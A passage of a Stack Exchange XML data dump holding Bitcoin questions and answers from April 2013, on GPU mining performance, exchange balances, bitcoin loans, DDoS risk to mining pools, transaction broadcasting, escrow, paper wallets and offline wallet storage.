&lt;p&gt;This approximate 2x-3x performance difference exists across the entire range of AMD and Nvidia GPUs. It is very visible in all ALU-bound GPGPU workloads such as Bitcoin, password bruteforcers, etc.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Secondly, another difference favoring Bitcoin mining on AMD GPUs instead of Nvidia's is that the mining algorithm is based on SHA-256, which makes heavy use of the 32-bit integer right rotate operation. This operation can be implemented as a single hardware instruction on AMD GPUs (BIT_ALIGN_INT), but requires three separate hardware instructions to be emulated on Nvidia GPUs (2 shifts + 1 add). This alone gives AMD another 1.7x performance advantage (~1900 instructions instead of ~3250 to execute the SHA-256 compression function).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Combined together, these 2 factors make AMD GPUs overall 3x-5x faster when mining Bitcoins. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-16T18:30:01.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9856" PostTypeId="1" CreationDate="2013-04-16T19:09:43.087" Score="1" ViewCount="435" Body="&lt;p&gt;So I have a VirCurEx account and I moved 1.5 BitCoins over to it... After the transaction was complete (like a day ago) I was checking and the website said &quot;Balance - 1.5&quot; which is correct but then for Available Balance it said &quot;Available Balance - 0.74900001&quot; or something close to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I trade half of my bit coins in for other currencies (PPCoins, NameCoins, LiteCoins, etc.) and when I tried to trade more it wouldn't let me... Even though I have about .76 BitCoins left in the account (and I can withdrawal them if I want) the Available balance says 0.0001 (or something close to that, I'm not looking at it now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the difference is?&lt;/p&gt;&#xA;" OwnerUserId="4325" LastActivityDate="2013-10-13T21:38:50.077" Title="VirCurEx - Balance vs Available Balance" Tags="|transactions|client|exchanges|buy-bitcoins|hosting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9857" PostTypeId="2" ParentId="9856" CreationDate="2013-04-16T19:11:34.793" Score="1" Body="&lt;p&gt;Figured out I had placed an order to sell half of my bit coins a while back and forgot about it... the order was still in effect thus rendering half of my stock unusable hahaha! All is well now!&lt;/p&gt;&#xA;" OwnerUserId="4325" LastActivityDate="2013-04-16T19:11:34.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9858" PostTypeId="1" CreationDate="2013-04-16T19:27:46.957" Score="6" ViewCount="1868" Body="&lt;p&gt;What happens when bitcoins loans start to appear? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loans have interest rates that &quot;create additional value&quot;. Given the limited amount of bitcoins, couldn't we realistically run out of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitBanker loans 1000BTC to the user with a 5% interest. The loan could be backed up with, say, a house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user then has to pay back 1050BTC, somehow acquiring the 50BTC deficit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given how quickly interest on top of interest grows, won't the bankers get to 21 million BTC quite quickly?&lt;/p&gt;&#xA;" OwnerUserId="4432" LastEditorUserId="5406" LastEditDate="2015-06-17T12:28:56.410" LastActivityDate="2019-08-06T01:48:45.823" Title="What happens when bitcoin loans start to appear?" Tags="|economic-theory|banks|loans|" AnswerCount="9" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9859" PostTypeId="1" CreationDate="2013-04-16T19:55:28.837" Score="11" ViewCount="1872" Body="&lt;p&gt;&lt;a href=&quot;http://mining.bitcoin.cz/&quot;&gt;Slush's Pool&lt;/a&gt;, the second biggest mining pool around, is currently down, allegedly due to a DDoS attack:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;News&lt;br&gt;&#xA;  16.04.2013&lt;br&gt;&#xA;  Pool is under DDoS attack. I'm working on recovering the service back to operation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means the entirety of its miners are currently offline, and this for sure lowers the difficulty of gaining 51% of the total network hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I don't know anything about the hardware/software design of mining pools, how many servers do they employ to centrally manage all miners, how much bandwidth do they have, etc.; but I'm quite sure that nuking one of them would require a lot less computing power than actually obtaining more than 50% of the total Bitcoin network hashing power under its normal operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the question: aren't &lt;a href=&quot;http://blockchain.info/pools&quot;&gt;big mining pools&lt;/a&gt; a critical point of failure for the Bitcoin network? If a malicious attacker was to place several of them offline, all of their miners would be instantly disconnected, and then a not-even-so-big mining farm (or maybe a rival pool which engineered the attack in the first place...) could easily overcome the whole network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much likely is such a scenario?&lt;br&gt;&#xA;How can it be avoided?&lt;br&gt;&#xA;Should the Bitcoin community invest more into protecting pools, or, better, make a joint effort into moving from a &quot;few big pools&quot; model to a &quot;many little pools&quot; one, in order to be safer from similar attacks?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="5406" LastEditDate="2015-06-09T22:49:17.213" LastActivityDate="2015-06-10T10:56:15.600" Title="DDoS on big mining pools: a quick way to 51%?" Tags="|mining-pools|security|attack|majority-attack|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9861" PostTypeId="2" ParentId="9858" CreationDate="2013-04-16T20:25:19.537" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Given how quickly intrest on top of intrest grows, won't the bankers get to 21 million BTC quite quickly?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure, but is that really meaningful? Let's say that I loan you 1 BTC, with the terms that I get 10% interest per day. Before the year is out, you owe me more bitcoins that actually exist. The &lt;em&gt;face value&lt;/em&gt; is the amount that the loan is supposed to be worth, if everybody keeps their word. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the &lt;em&gt;real value&lt;/em&gt; is much lower - you're a random stranger on the internet, and you're unlikely to come up with quadrillions of dollars. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin can't save you from untrustworthy borrowers.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-16T20:25:19.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9864" PostTypeId="1" AcceptedAnswerId="9865" CreationDate="2013-04-16T20:54:28.970" Score="9" ViewCount="676" Body="&lt;p&gt;When a transaction is broadcasted to the network, what is being sent? Is it a hash? if yes, is it going to be the hash of: previous transaction + public key of the receiver? &lt;/p&gt;&#xA;" OwnerUserId="3784" LastEditorUserId="516" LastEditDate="2013-04-17T01:16:39.840" LastActivityDate="2013-04-17T01:16:39.840" Title="When a transaction is broadcast to the network, what is actually being sent?" Tags="|transactions|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9865" PostTypeId="2" ParentId="9864" CreationDate="2013-04-16T20:57:46.967" Score="10" Body="&lt;ul&gt;&#xA;&lt;li&gt;Client creates a new transaction, adds it to its memory pool&lt;/li&gt;&#xA;&lt;li&gt;Client broadcasts an &lt;code&gt;inv&lt;/code&gt; frame, which indicates that it has something in its memory pool, by giving the hash of the transaction to one or more connected peers&lt;/li&gt;&#xA;&lt;li&gt;Peer receives &lt;code&gt;inv&lt;/code&gt; frame, checks its own memory pool, it's not in there, so it sends a &lt;code&gt;getdata&lt;/code&gt; frame back&lt;/li&gt;&#xA;&lt;li&gt;Client receives a &lt;code&gt;getdata&lt;/code&gt; frame for the transaction it just created, so it sends a &lt;code&gt;tx&lt;/code&gt; with the entire transaction&lt;/li&gt;&#xA;&lt;li&gt;Peer receives the &lt;code&gt;tx&lt;/code&gt;, hashes it and puts it in the memory pool&lt;/li&gt;&#xA;&lt;li&gt;Peer now has something new in the memory pool, and broadcasts an &lt;code&gt;inv&lt;/code&gt; to all connected peers&lt;/li&gt;&#xA;&lt;li&gt;Client gets an &lt;code&gt;inv&lt;/code&gt; frame, notices that it's already in the memory pool, and ignores it&lt;/li&gt;&#xA;&lt;li&gt;Another client gets the &lt;code&gt;inv&lt;/code&gt; frame as well, &lt;code&gt;getdata&lt;/code&gt;'s it, stores the &lt;code&gt;tx&lt;/code&gt;, sends &lt;code&gt;inv&lt;/code&gt;, and repeat that until the entire network has the transaction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;References :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;tx frame&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Inventory_Vectors&quot;&gt;inventory vector&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#getdata&quot;&gt;getdata&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-04-16T21:02:58.060" LastActivityDate="2013-04-16T21:02:58.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9866" PostTypeId="1" CreationDate="2013-04-16T21:49:46.660" Score="1" ViewCount="1539" Body="&lt;p&gt;Bitcoin QT finished syncing this weekend after d/l for Windows 7 on Thursday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, probably 2nd or 3rd time running it, an error came up right away that index could not be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would cause this to happen, and why would it have to reindex all the blocks on disk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Mike&lt;/p&gt;&#xA;" OwnerUserId="4452" LastActivityDate="2013-08-15T17:09:01.367" Title="Block data error, reindexing blocks" Tags="|blockchain|bitcoin-core|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9867" PostTypeId="1" CreationDate="2013-04-16T22:04:19.193" Score="1" ViewCount="395" Body="&lt;p&gt;(Clarification: This is &lt;em&gt;not&lt;/em&gt; an attempt to solve the problem of a vendor taking the money and running without handing over the merchandise.  Problems like that can't be solved without some third party.  The purpose here is for A to give bitcoin to B, where B can be &lt;em&gt;instantly&lt;/em&gt; certain that he has access to the bitcoin.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an idea that depends on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt; system in Bitcoin, but maybe I'm asking too much.  It would allow for instant confirmations between parties who arrange a negotiation a few hours in advance.  I don't know very much about Script though.  Is the following scheme possible?  Would extensions to the Script be required?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Person A and Person B are going to meet in a few hours for a business deal.  If all goes well, they hope to shake hands and A will want to instantly send some BTC to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In advance, A publishes a transaction that sends the money to B.  By the time the meeting occurs it will have received enough confirmations.  But this won't be a normal transaction.  It should include some further conditions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the transaction should include a hash, such that the transaction won't complete unless a document is produced which has that hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they shake hands, A can instantly show that document to B and B can verify that the document produces the correct hash.  B can then be confident that the transaction will be processed fully later when he produces the document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no double-spending problem here.  The output of the special transaction has already been locked to send to B, it cannot be sent anywhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need a way to rollback this if A and B do not reach agreement.  Can Script allow a transaction to be cancelled if its outputs are not used a specified timeframe?  I guess not.  (Partially cancelled, the transaction fee should remain valid.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach to this rollback is for the special transaction to also include a special output which sends &lt;em&gt;all&lt;/em&gt; the money back to another of A's address.  But this should have some sort of time lock on it, such that it isn't allowed to happen until a suitable delay, 24 hours, has occured.  Is it possible for the outputs to be &lt;em&gt;double&lt;/em&gt; the total inputs in a case like this, where maybe we can prove that only one output can be claimed?  (I envisage having non-overlapping timelocks on both transactions in order.)&lt;/p&gt;&#xA;" OwnerUserId="4453" LastEditorUserId="95422" LastEditDate="2019-11-25T21:02:47.860" LastActivityDate="2019-12-25T22:01:20.160" Title="Instant confirmations with pre-published, locked, transactions" Tags="|transactions|script|confirmations|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9868" PostTypeId="2" ParentId="9835" CreationDate="2013-04-16T22:26:13.693" Score="3" Body="&lt;p&gt;A paper wallet has a private key (&quot;Redeem&quot;) and a Bitcoin address (&quot;Load &amp;amp; Verify&quot;).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can import the private key &lt;a href=&quot;http://en.bitcoin.it/wiki/How_to_import_private_keys_v7+&quot; rel=&quot;nofollow&quot;&gt;in the Bitcoin-Qt/bitcoind client&lt;/a&gt; using the Debug console or the command line API.&lt;/li&gt;&#xA;&lt;li&gt;You can import the private key into Mt. Gox (Funding, then Redeem, Private key) and it will sweep the funds to your exchange E-Wallet account.&lt;/li&gt;&#xA;&lt;li&gt;You can import the private key into Blockchain.info/wallet&lt;/li&gt;&#xA;&lt;li&gt;You can import the private key from a mobile by scanning using &lt;a href=&quot;http://easywallet.org&quot; rel=&quot;nofollow&quot;&gt;EasyWallet.org&lt;/a&gt; &#xA;(fee applies)&lt;/li&gt;&#xA;&lt;li&gt;You can import a private key into the Multibit client and possibly with other clients.&lt;/li&gt;&#xA;&lt;li&gt;You can spend using a &lt;a href=&quot;http://brainwallet.org/#tx&quot; rel=&quot;nofollow&quot;&gt;private key with Brainwallet.org&lt;/a&gt; &amp;lt;-- Be careful with this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-16T22:26:13.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9869" PostTypeId="2" ParentId="2752" CreationDate="2013-04-16T22:26:48.847" Score="0" Body="&lt;p&gt;It isn't clear how well p2pool will work with Butterfly Labs upcoming ASIC devices.&lt;/p&gt;&#xA;" OwnerUserId="2950" LastActivityDate="2013-04-16T22:26:48.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9870" PostTypeId="2" ParentId="9822" CreationDate="2013-04-16T22:29:53.187" Score="0" Body="&lt;p&gt;Bitcoin Nordic is a Bitcoin exchange which will accept currency sent to it by mail and use those funds (face value) to buy bitcoins.  They accept GBP, EUR, USD, NOK, SEK, DKK.  They might accept others if you contact them in advance.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.BitcoinNordic.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitcoinNordic.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't know if they would accept much coin.  They might, but possibly not at the discosed rates.  It would be best to contact them in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as getting numismatic value for them, you'ld probably get a better offer selling to a numismatic dealer and then using those proceeds with a bitcoin exchange.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-16T22:35:04.057" LastActivityDate="2013-04-16T22:35:04.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9871" PostTypeId="2" ParentId="9836" CreationDate="2013-04-16T22:39:04.903" Score="2" Body="&lt;p&gt;The protocol itself doesn't allow such a restriction but M of N functionality might be a way to implement something like this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/6100/153&quot;&gt;How will multisig addresses work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-04-16T22:39:04.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9872" PostTypeId="2" ParentId="9867" CreationDate="2013-04-16T23:35:28.003" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;When they shake hands, A can instantly show that document to B and B can verify that the document produces the correct hash.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But in order to verify that the document produces that hash, B would need to put it into a computer, which he could program to steal the document and make the transaction.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Can Script allow a transaction to be cancelled if its outputs are not used a specified timeframe?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;There was a proposal a while back that would have allowed that - it gave scripts access to the block number of the block it was included into. It was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1786.msg22119#msg22119&quot; rel=&quot;nofollow noreferrer&quot;&gt;ultimately rejected&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We can't safely do OP_BLOCKNUMBER.  In the event of a block chain reorg after a segmentation, transactions need to be able to get into the chain in a later block.  The OP_BLOCKNUMBER transaction and all its dependants would become invalid.  This wouldn't be fair to later owners of the coins who weren't involved in the time limited transaction.&lt;/p&gt;&#xA;&lt;p&gt;nTimeLock does the reverse.  It's an open transaction that can be replaced with new versions until the deadline.  It can't be recorded until it locks.  The highest version when the deadline hits gets recorded.  It could be used, for example, to write an escrow transaction that will automatically permanently lock and go through unless it is revoked before the deadline.  The feature isn't enabled or used yet, but the support is there so it could be implemented later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Here's the current best-practices for an escrow transaction: You send your bitcoins to a 2-of-3 escrow account controlled by me, you, and an escrow agent.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the trade completes sucessfully, then we transfer the bitcoins to your account.&lt;/li&gt;&#xA;&lt;li&gt;If we decide not to go through with the trade, then we transfer the bitcoins back to my account.&lt;/li&gt;&#xA;&lt;li&gt;If the escrow agent gets hacked, then we're ok because the hackers don't have the ability to steal the money without our cooperation.&lt;/li&gt;&#xA;&lt;li&gt;If we can't agree for whatever reason, then the escrow agent will arbitrate somehow.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This isn't a bulletproof scheme. For example, if we do the trade, and I then convince the escrow agent that you never held up your end, then I can get both the item you were selling and the bitcoins back.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-04-16T23:35:28.003" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9873" PostTypeId="2" ParentId="9738" CreationDate="2013-04-17T00:29:08.943" Score="-1" Body="&lt;p&gt;Okay, since there is no answer for days already, I think this link contains probably the closest to one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/credentials/&quot; rel=&quot;nofollow&quot;&gt;Description of credentials Blob Vault&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can set up his own Blob Vault or use a public one. Where is the source code for it, I don't know yet. Also not sure of exact relationship with Ripple address.&lt;/p&gt;&#xA;" OwnerUserId="4354" LastActivityDate="2013-04-17T00:29:08.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9874" PostTypeId="1" AcceptedAnswerId="9879" CreationDate="2013-04-17T00:35:18.800" Score="4" ViewCount="560" Body="&lt;p&gt;In a work, there are only two elements in the block header change between hash attempts. That is, NTime and Nonce. The miner starts the nonce search to get a valid share, and there are several possibilities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In a single nonce range (0~2^32-1), the miner find a nonce which meets the requirement of the valid share, so the miner exits the nonce search for this work and submit the nonce instantly, and then get another work from the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In a single nonce range (0~2^32-1), the miner find a nonce which meets the requirement of the valid share, then the miner record it, and go on the nonce search until the complete of the nonce range search, and after this full range search the miner submit the recorded nonces  and get another work from the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The miner can't find a valid nonce after a full nonce range attempts, so it performs NTime rolling, and then start a new nonce range search, and also there are also some possibilities just like the above statements for the miner to finish this work and get another work from the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, my question implies another question, for a fixed work(except for the nonce), is it possible that more than one nonce can be found to get a valid diff 1 share?&lt;/p&gt;&#xA;" OwnerUserId="4427" LastEditorUserId="5406" LastEditDate="2016-04-01T09:15:22.893" LastActivityDate="2016-04-01T09:15:22.893" Title="A full/multi nonce range search or just a partial range search?" Tags="|mining-pools|hash|mining-technical-details|nonce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9876" PostTypeId="2" ParentId="9738" CreationDate="2013-04-17T00:56:48.997" Score="3" Body="&lt;p&gt;There are two components of making a Ripple wallet offline:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/rippleFoundation/Blob-Vault&quot; rel=&quot;nofollow&quot;&gt;The blob vault&lt;/a&gt;&lt;br&gt;&#xA;This is what stores the private key that controls your wallet. Other people can try to guess your username/password over the network, and if the blob vault isn't trustworthy, then it can do a much faster attack against it.&lt;br&gt;&#xA;Install instructions: There is an install script included (&lt;code&gt;serversetup.sh&lt;/code&gt;), but it will only work on Debian-based systems. You can get it to work on others by installing node, npm, and mysql server. Be aware that you also need to edit the script and replace &lt;code&gt;PASSWORD&lt;/code&gt; with your actual mysql root password.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/rippleFoundation/ripple-client/blob/master/index.html&quot; rel=&quot;nofollow&quot;&gt;The ripple client itself&lt;/a&gt;&lt;br&gt;&#xA;Copy it to a &lt;a href=&quot;http://www.maketecheasier.com/install-and-configure-apache-in-ubuntu/2011/03/09&quot; rel=&quot;nofollow&quot;&gt;local webserver&lt;/a&gt;, and point your brower at it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Be aware that you need to be online to see the balance of your Ripple wallet.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2013-04-17T03:34:55.857" LastActivityDate="2013-04-17T03:34:55.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9878" PostTypeId="1" AcceptedAnswerId="9880" CreationDate="2013-04-17T03:44:05.080" Score="7" ViewCount="1809" Body="&lt;p&gt;I have a mac that I never use, would storing my bitcoins on a wallet on that laptop and then only connecting it to the internet when I am ready to transfer money be safe? Is there any reason not to do this? That way I don't have to worry &lt;em&gt;as much&lt;/em&gt; about viruses infecting it and stealing my bit coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what happens if I back up a computer, load it onto a new hard-drive, then open up that computer and run it's wallet, then open the original computer and run it's wallet.. now I have two duplicate wallets on two separate computers? Would I get an error from the P2P network or would I have duplicate coins (I'm assuming the second is obviously not the case)&lt;/p&gt;&#xA;" OwnerUserId="4325" LastEditorUserId="2306" LastEditDate="2013-04-17T03:56:37.973" LastActivityDate="2013-04-17T22:50:15.723" Title="Storing my bitcoins on an offline computer" Tags="|wallet|exchanges|server|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9879" PostTypeId="2" ParentId="9874" CreationDate="2013-04-17T03:54:04.790" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) In a single nonce range (0~2^32-1), the miner find a nonce which meets the requirement of the valid share, so the miner exits the nonce search for this work and submit the nonce instantly, and then get another work from the pool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't, because the fact that you found a valid share doesn't mean that there's not another nonce that creates a share.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Actually, my question implies another question, for a fixed work(except for the nonce), is it possible that more than one nonce can be found to get a valid diff 1 share?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Between 0 and 2^32 shares/blocks will be found for every nonce range.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-17T03:54:04.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9880" PostTypeId="2" ParentId="9878" CreationDate="2013-04-17T04:07:54.493" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have a mac that I never use, would storing my bitcoins on a wallet on that laptop and then only connecting it to the internet when I am ready to transfer money be safe? Is there any reason not to do this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your laptop needs to catch up every time you want to make a transaction, which is not good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ideal solution would be Bitcoin Armory, which is designed for this type of thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8101/how-to-sign-a-transaction-using-only-offline-computer&quot;&gt;How to sign a transaction using only an offline computer?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=156250.msg1655941#msg1655941&quot; rel=&quot;nofollow noreferrer&quot;&gt;Find the mac version here&lt;/a&gt; - but note that it's in beta, hence why it's not on the main site.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would I get an error from the P2P network or would I have duplicate coins &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The second time you spend the coins, other nodes will reject it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-04-17T22:50:15.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9882" PostTypeId="1" CreationDate="2013-04-17T06:54:54.393" Score="6" ViewCount="470" Body="&lt;p&gt;Now you can buy everything worldwide with &lt;a href=&quot;https://all4btc.com/&quot; rel=&quot;nofollow&quot;&gt;https://all4btc.com/&lt;/a&gt; (former &lt;a href=&quot;https://bitspend.net/&quot; rel=&quot;nofollow&quot;&gt;https://bitspend.net/&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to get money now also only in bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to configure a bank account in the way that if there are &lt;strong&gt;incomings&lt;/strong&gt; on it, it &lt;strong&gt;automatically buys bitcoins&lt;/strong&gt; somewhere for it to the current exchange-rate and &lt;strong&gt;transfers them to my wallet&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there an online-banking software, where I could configure those kind of macro?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;which bitcoin-software can be completely automated to buy on certain events?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in which country would it be possible to open this kind of automatizeable bank account?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3236" LastEditorUserId="3236" LastEditDate="2013-11-01T20:32:52.353" LastActivityDate="2023-08-24T16:50:39.990" Title="Pass-through bank account, that transfers everything to your wallet" Tags="|banks|automation|money-transfer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9883" PostTypeId="1" CreationDate="2013-04-17T07:05:06.910" Score="4" ViewCount="668" Body="&lt;p&gt;Is there a place, where i can buy everything in other countries and pay with bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a place somewhere.&lt;/p&gt;&#xA;" OwnerUserId="3236" LastActivityDate="2014-08-04T11:15:34.847" Title="How to buy everything with bitcoins" Tags="|transactions|payment|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9884" PostTypeId="2" ParentId="9883" CreationDate="2013-04-17T07:52:13.513" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://joinsnapcard.com&quot; rel=&quot;nofollow&quot;&gt;Snapcard&lt;/a&gt; is a buying service that uses a bookmarklet to populate a shopping cart on Snapcard's site using product details from the e-commerce site you want to buy from.   Coindesk's &lt;a href=&quot;http://www.coindesk.com/snapcard-merchants-shop-bitcoin&quot; rel=&quot;nofollow&quot;&gt;writeup&lt;/a&gt; on the service gives more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edited: This comment originally was for BitSpend.net which is now defunct.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2014-08-04T11:15:34.847" LastActivityDate="2014-08-04T11:15:34.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
